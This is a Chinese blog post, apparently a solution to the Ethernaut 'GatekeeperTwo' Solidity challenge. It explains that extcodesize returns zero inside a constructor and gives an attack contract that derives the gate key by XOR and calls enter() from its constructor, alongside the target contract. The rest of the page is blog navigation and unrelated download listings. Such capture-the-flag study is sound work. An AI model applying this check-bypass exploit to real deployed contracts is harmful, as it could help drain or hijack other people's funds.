- 浏览: 774730 次
- 性别:
- 来自: 深圳
文章分类
- 全部博客 (1045)
- 数据结构 (36)
- UML与设计模式 (42)
- c++ (87)
- rust (36)
- Qt (41)
- boost模板元编程 (43)
- Linux (77)
- 汇编 (4)
- 其它 (2)
- 烹饪 (3)
- unix c / socket (73)
- 软件工程 (4)
- shell (53)
- Python (37)
- c++ primer 5th(c++11) (22)
- 数据库/MySQL (27)
- 数据存储 (4)
- lisp (7)
- git (4)
- Utility (3)
- CDN与DNS (54)
- Http (53)
- php (7)
- nginx/lua/openresty (41)
- redis (11)
- TCP/IP (16)
- 互联网 (6)
- kernel (2)
- go (34)
- 区块链 (43)
- 比特股 (13)
- 以太坊 (23)
- 比特币 (23)
- 密码学 (10)
- EOS (53)
- DAG (1)
- docker (1)
- filecoin (7)
- solidity (65)
- ipfs (8)
- 零知识证明 (1)
- openzeppelin (3)
- java (1)
- defi (7)
- Ton (0)
最新评论
extcodesize取出的byte code长度,若长度大于0就表示是合约发出的,等于0还不一定是EOA地址,因为在合约的构造函数发出,其byte code尚未初始化,仍为0
// SPDX-License-Identifier: MIT pragma solidity >= 0.6.0; import "hardhat/console.sol"; contract GatekeeperTwoAttack { constructor(address addr,address addr2){ //构造函数 attack(addr, addr2); } function attack(address addr,address addr2) public returns(bool){ //require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1); bytes8 _gateKey = ~(bytes8(keccak256(abi.encodePacked(address(this)))) & 0xFFFFFFFFFFFFFFFF) ; bytes8 _key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max); console.logBytes8(_gateKey); console.log("key:"); console.logBytes8(_key); (bool success, bytes memory data) = addr.call( abi.encodeWithSignature("enter(bytes8)", _gateKey) ); if(success){ console.log("succ"); } return true; } } contract GatekeeperTwo { address public entrant; modifier gateOne() { console.log("gateOne start"); require(msg.sender != tx.origin); console.log("gateOne succ"); _; } modifier gateTwo() { console.log("gateTwo start"); uint x; //如果调用者是合约的构造函数中,则runtime的byte code尚未存储,x仍会是0 assembly { x := extcodesize(caller()) } console.log("x:",x); require(x == 0); console.log("gateTwo succ"); _; } modifier gateThree(bytes8 _gateKey) { console.log("gateThree start"); console.logBytes8(bytes8(keccak256(abi.encodePacked(msg.sender)))); console.logBytes8(_gateKey); console.logUint(uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))^ uint64(_gateKey)); console.logUint(type(uint64).max); console.logBool(type(uint64).max==(uint64(0) - 1)); require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1); console.log("gateThree succ"); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { console.log("enter"); entrant = tx.origin; return true; } }
发表评论
-
TypeError:ethers_1.getAddress
2024-04-29 10:45 373package.json 添加:"@nomicfou ... -
solidity
2023-02-25 14:23 12一.solidity 1.EVM 不是基于寄存器的,而是基于栈 ... -
solidity
2023-02-25 14:23 11一.solidity 1.EVM 不是基于寄存器的,而是基于栈 ... -
solidity
2023-02-25 14:23 321一.solidity 1.EVM 不是基于寄存器的,而是基于栈 ... -
Address
2023-02-23 10:54 5// contracts/Box.sol // SPDX ... -
Address
2023-02-23 10:50 281// contracts/Box.sol // SPDX ... -
Beacon
2023-02-20 11:45 286Beacon a.Implementation地址并不存放在P ... -
UUPS
2023-02-17 16:16 321a.Proxy直接把所有的请求都通过delegatecall丢 ... -
Transparent
2023-02-16 15:44 270Transparent: a.如果Proxy合约发现自己被Pr ... -
string转bytes
2023-02-16 11:04 348const data = Buffer.from(''); ... -
hardhat命令
2023-02-13 09:58 3981.前置准备,运行一个新项目 mkdir my-project ... -
multicall
2023-01-31 20:11 207multicall的solidity调用与ethers.js调 ... -
检查是否是721
2023-01-31 15:18 182// SPDX-License-Identifier: M ... -
EVM操作码
2023-01-25 10:33 3352.栈和内存操作码 2.1 POP:取出栈顶元素 2.2 PU ... -
计算合约地址
2023-01-19 11:27 280EVM会根据发送者地址和nonce经过RLP编码后再进行kec ... -
标准修饰符
2023-01-18 17:03 1861.internal:类似c++中的protected,通过J ... -
ABI编码函数
2023-01-17 10:40 3451. abi.encode()returns(bytes):对 ... -
数据位置
2023-01-17 10:24 2321.函数参数包括返回的参数默认是memory 2.局部变量默认 ... -
随机数
2023-01-17 10:06 247https://www.paradigm.xyz/2023/0 ... -
Elevator
2023-01-13 10:48 233Elevator.sol // SPDX-License- ...
相关推荐
以太坊安全 :red_exclamation_mark: :warning: 请勿在此存储库中使用合同。 它们很容易造成安全隐患。 :warning: :red_exclamation_mark: ... extcodesize在用于检查调用方是否为合同时被绕过 跑: tru
2025最新全国水利安全生产知识竞赛题库(含答案).docx
1.版本:matlab2014/2019a/2024a 2.附赠案例数据可直接运行matlab程序。 3.代码特点:参数化编程、参数可方便更改、代码编程思路清晰、注释明细。 4.适用对象:计算机,电子信息工程、数学等专业的大学生课程设计、期末大作业和毕业设计。
1.版本:matlab2014/2019a/2024a 2.附赠案例数据可直接运行matlab程序。 3.代码特点:参数化编程、参数可方便更改、代码编程思路清晰、注释明细。 4.适用对象:计算机,电子信息工程、数学等专业的大学生课程设计、期末大作业和毕业设计。
因为文件过大所以使用bz2进行了2次压缩,请解压成tar包后在上传到服务器
项目已获导师指导并通过的高分毕业设计项目,可作为课程设计和期末大作业,下载即用无需修改,项目完整确保可以运行。 包含:项目源码、数据库脚本、软件工具等,该项目可以作为毕设、课程设计使用,前后端代码都在里面。 该系统功能完善、界面美观、操作简单、功能齐全、管理便捷,具有很高的实际应用价值。 项目都经过严格调试,确保可以运行!可以放心下载 技术组成 语言:java 开发环境:idea 数据库:MySql8.0 部署环境:Tomcat(建议用 7.x 或者 8.x 版本),maven 数据库工具:navicat
iostat打印解析画图工具
1、文件内容:fence-agents-compute-4.2.1-41.el7_9.6.rpm以及相关依赖 2、文件形式:tar.gz压缩包 3、安装指令: #Step1、解压 tar -zxvf /mnt/data/output/fence-agents-compute-4.2.1-41.el7_9.6.tar.gz #Step2、进入解压后的目录,执行安装 sudo rpm -ivh *.rpm 4、安装指导:私信博主,全程指导安装
1.版本:matlab2014/2019a/2024a 2.附赠案例数据可直接运行matlab程序。 3.代码特点:参数化编程、参数可方便更改、代码编程思路清晰、注释明细。 4.适用对象:计算机,电子信息工程、数学等专业的大学生课程设计、期末大作业和毕业设计。
PDF格式,229页,包括有环保,新能源,木工,包装等行业的应用。适用于电气自动化行业。
1、文件内容:dropwatch-1.4-9.el7.rpm以及相关依赖 2、文件形式:tar.gz压缩包 3、安装指令: #Step1、解压 tar -zxvf /mnt/data/output/dropwatch-1.4-9.el7.tar.gz #Step2、进入解压后的目录,执行安装 sudo rpm -ivh *.rpm 4、安装指导:私信博主,全程指导安装
1、文件内容:fence-agents-emerson-4.2.1-41.el7_9.6.rpm以及相关依赖 2、文件形式:tar.gz压缩包 3、安装指令: #Step1、解压 tar -zxvf /mnt/data/output/fence-agents-emerson-4.2.1-41.el7_9.6.tar.gz #Step2、进入解压后的目录,执行安装 sudo rpm -ivh *.rpm 4、安装指导:私信博主,全程指导安装
航空发动机磨粒荷电特性研究.pdf
第十一届蓝桥杯大赛个人赛校内选拔(软件类)真题全面考察了参赛选手的编程与算法能力,涵盖多个热门编程语言,为选手提供了展现自身实力的舞台。 考察范围与方向 真题在编程语言上聚焦于 C/C++、Java、Python 等主流语言。考察内容广泛,既有基础的语法运用,也涉及复杂的数据结构和算法。数据结构方面,对数组、链表、栈、队列、哈希表等的使用有不同程度的考察;算法上,动态规划、贪心算法、搜索算法等经典算法是考察重点。 题型示例与特点 在具体题型上,有数值计算类题目,例如给定条件计算特定数值,要求选手有较强的逻辑思维和数学运算能力;字符串处理类题目,如字符串匹配、替换等,考验选手对字符串操作函数的熟悉程度;还有图论与搜索类题目,像最短路径问题,需要选手掌握相应的搜索算法。 考察目的与意义 这次校内选拔真题旨在筛选出编程能力强、算法思维敏捷的选手,为后续的正式比赛储备人才。通过解答这些真题,选手能发现自身知识短板,明确学习方向。对于学校而言,能了解学生的编程水平,为教学改进提供参考。同时,这也为学生提供了与同龄人交流切磋的机会,激发他们学习编程的热情,提升解决实际问题的能力。
一种采用耦合电感的开关电路分析.pdf
rancher-active-proxy
RSSIIndoorLocation-master
1.版本:matlab2014/2019a/2024a 2.附赠案例数据可直接运行matlab程序。 3.代码特点:参数化编程、参数可方便更改、代码编程思路清晰、注释明细。 4.适用对象:计算机,电子信息工程、数学等专业的大学生课程设计、期末大作业和毕业设计。
1、文件内容:exchange-bmc-os-info-1.8.18-11.el7_9.rpm以及相关依赖 2、文件形式:tar.gz压缩包 3、安装指令: #Step1、解压 tar -zxvf /mnt/data/output/exchange-bmc-os-info-1.8.18-11.el7_9.tar.gz #Step2、进入解压后的目录,执行安装 sudo rpm -ivh *.rpm 4、安装指导:私信博主,全程指导安装
项目已获导师指导并通过的高分毕业设计项目,可作为课程设计和期末大作业,下载即用无需修改,项目完整确保可以运行。 包含:项目源码、数据库脚本、软件工具等,该项目可以作为毕设、课程设计使用,前后端代码都在里面。 该系统功能完善、界面美观、操作简单、功能齐全、管理便捷,具有很高的实际应用价值。 项目都经过严格调试,确保可以运行!可以放心下载 技术组成 语言:java 开发环境:idea 数据库:MySql8.0 部署环境:Tomcat(建议用 7.x 或者 8.x 版本),maven 数据库工具:navicat